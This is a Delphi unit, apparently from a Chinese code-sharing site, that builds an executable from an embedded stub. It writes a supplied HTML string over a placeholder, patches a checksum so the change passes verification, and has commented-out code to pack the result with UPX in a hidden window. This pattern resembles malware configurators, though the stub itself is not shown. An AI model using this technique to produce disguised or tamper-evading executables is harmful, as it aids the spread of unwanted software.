📄 ucreateit.pas
字号:
unit Ucreateit;
interface
uses Windows, SysUtils, Variants, Classes, Controls,
Dialogs;
procedure createit(html: string;const sfile:string='1.exe');
implementation
uses unithooktype, unitmain;
procedure createit(html: string;const sfile:string='1.exe');
var
s, filename: string;
i1,i3, size: integer;
fs: TFilestream;
crcPos: pinteger;
{function GetCRC(sizel:integer;p:pchar): integer;
var
i: integer;
begin
result := 0;
for i := 0 to sizel div 4 - 1 do
begin
inc(result, pinteger(@p[i * 4])^);
end; }
function GetCRC(iStart,iLen:integer;p:pchar): integer;
var
i: integer;
begin
result := 0;
for i := 0 to iLen div 4 - 1 do
begin
inc(result, pinteger(@p[iStart+i * 4])^);
end;
end;
begin
filename := extractfilepath(paramstr(0)) + sfile;
ExtractRes('exe', 'exe1', filename);
// ExtractRes('exe', 'exe2', 'c:\upx.exe');
fs := TFilestream.Create(filename, fmOpenReadWrite);
size := fs.size;
setlength(s, size);
fs.Read(s[1], size);
i1 := pos(consthtml1, s);
if i1 = 0 then raise exception.create('error!')
else begin
strcopy(@s[i1], pchar(html));
i3:=i1 + length(html) + 1;
while i3 mod 4<>1 do inc(i3);
crcPos := @s[i3];
end;
//i1:=getcrc(Size,pchar(s));
i1:=getcrc(i1-1,length(consthtml1),pchar(s)); //+getcrc(i2-1,length(consthtml2),pchar(s));
inc(crcPos^ , -i1);
fs.Position := 0;
fs.Write(s[1], size);
fs.Free;
// winexec(pchar('c:\upx.exe -1 "' + filename + '"'), sw_hide);
showmessage(filename + '已生成!');
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -